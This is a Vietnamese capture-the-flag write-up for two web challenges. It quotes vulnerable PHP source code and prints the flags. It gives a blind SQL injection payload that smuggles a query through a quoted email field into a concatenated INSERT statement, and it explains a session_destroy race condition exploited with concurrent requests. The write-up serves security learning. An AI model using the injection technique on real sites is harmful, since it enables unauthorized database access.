IAW301
HINT 2 : http://35.198.195.87:7001/src.zip
HINT 4 : “valid/email*“@gmail.com
SOLUTION
Dựa vào hint 2 ta đọc source và biết ngay vuln tại phần email trong chức năng registration.
1
2
3
4
5
$regexEmail = array("options" => array("regexp"=>"/^(?!(?:(?:\\\\x22?\\\\x5C[\\\\x00-\\\\x7E]\\\\x22?)|(?:\\\\x22?[^\\\\x5C\\\\x22]\\\\x22?)){255,})(?!(?:(?:\\\\x22?\\\\x5C[\\\\x00-\\\\x7E]\\\\x22?)|(?:\\\\x22?[^\\\\x5C\\\\x22]\\\\x22?)){240,}@)(?:(?:[\\\\x21\\\\x23-\\\\x27\\\\x2A\\\\x2B\\\\x2D\\\\x2F-\\\\x39\\\\x3D\\\\x3F\\\\x5E-\\\\x7E]+)|(?:\\\\x22(?:[\\\\x01-\\\\x08\\\\x0B\\\\x0C\\\\x0E-\\\\x1F\\\\x21\\\\x23-\\\\x5B\\\\x5D-\\\\x7F]|(?:\\\\x5C[\\\\x00-\\\\x7F]))*\\\\x22))(?:\\\\.(?:(?:[\\\\x21\\\\x23-\\\\x27\\\\x2A\\\\x2B\\\\x2D\\\\x2F-\\\\x39\\\\x3D\\\\x3F\\\\x5E-\\\\x7E]+)|(?:\\\\x22(?:[\\\\x01-\\\\x08\\\\x0B\\\\x0C\\\\x0E-\\\\x1F\\\\x21\\\\x23-\\\\x5B\\\\x5D-\\\\x7F]|(?:\\\\x5C[\\\\x00-\\\\x7F]))*\\\\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-+[a-z0-9]+)*\\\\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-+[a-z0-9]+)*)|(?:\\\\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\\\\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\\\\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\\\\]))$/iD","default"=>false));
if (filter_var($username, FILTER_VALIDATE_REGEXP, $regexUsername)){
if (filter_var($email, FILTER_VALIDATE_REGEXP, $regexEmail)){
.............
}}
Và dưới đây là câu query signup bị vuln:
1
$sql = 'INSERT INTO Users (username, email, password) VALUES ("'.$username.'", "'.$email.'", "'.md5($password).'")';
Để inject và lấy dữ liệu trong database được, chúng ta cần bypass cái regex ở trên, bằng một số kĩ thuật fuzzing và document
PAYLOAD
1
#payload bind-sqli username=a&password=b&email="||(ascii(substr((select 'aa'),1,1))>53)||"@aaaaaagmail.com
⇒ Flag: FUSEC{Fuzzing_Email_For_SQLi}
IAW302
Source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
session_start();
@include '/flag.php';
if(!isset($_GET['choose'])){
highlight_file("result.php");
die();
}
$name = md5(date("ms").md5($_GET['choose']).@$_COOKIE['PHPSESSID']);
session_destroy();
$log_file = "./".$name.".txt";
echo "Log: $log_file</br>";
file_put_contents($log_file,$_GET['choose']);
if(@unlink($log_file)){
die("Loser");
}
echo @$flag;
?>
SOLUTION
Sau khi test sơ qua mình đã thấy được code mà author cung cấp ở http://35.198.195.87:7002/result.php
. Đây cũng là 1 dạng được khá nhiều người biết đến, dùng kĩ thuật race condition để khai thác. Và bây giờ mình sẽ phân tích, tại sao lại có thể exploit bằng race-con.
Đầu tiên giá trị của
$name
được gán bằng md5-encode củadate
,get parameter
vàsession
, tiếp theo đó$name
được lấy làm tên file txt và được nạp nội dung vào, sau đó kiểm tra xóa file thông qua đoạnif(@unlink($log_file))
, nếu false thìecho
flag, và ngược lại thìdie("Loser")
.Nhìn thì có vẻ như không có bất kì vuln nào, nhưng các bạn hãy chú ý vào đoạn
session_destroy()
; được đặt giữa source code và nó có chức năng hủysession
. Điều này rất nguy hiểm, vì nếusession
bị hủy giữa chừng và đồng thời có nhiều request được gửi tới thì sẽ gây ra tình trạng mất dữ liệu bất ngờ, trong trường hợp trên thì sẽ mất dữ liệu của$name
Do đó để unlink
trả về false
thì chỉ cần làm cho $name
bị mất dữ liệu thì sẽ không tồn tại tên file , bằng cách dùng race condition để tạo ra nhiều request đồng thời:
“Warning Immediate session deletion may cause unwanted results. When there is concurrent requests, other connections may see sudden session data loss. e.g. Requests from JavaScript and/or requests from URL links. Although current session module does not accept empty session ID cookie, but immediate session deletion may result in empty session ID cookie due to client(browser) side race condition. This will result that the client creates many session ID needlessly. To avoid these, you must set deletion time-stamp to $_SESSION and reject access while later. Or make sure your application does not have concurrent requests. This applies to session_regenerate_id() also.” - From PHP Main Page
PAYLOAD
Chỉ cần dùng thread để spam là okie !
⇒ Flag: FUSEC{Hua_voi_moi_nguoi_lan_nay_lan_cuoi_dao_de}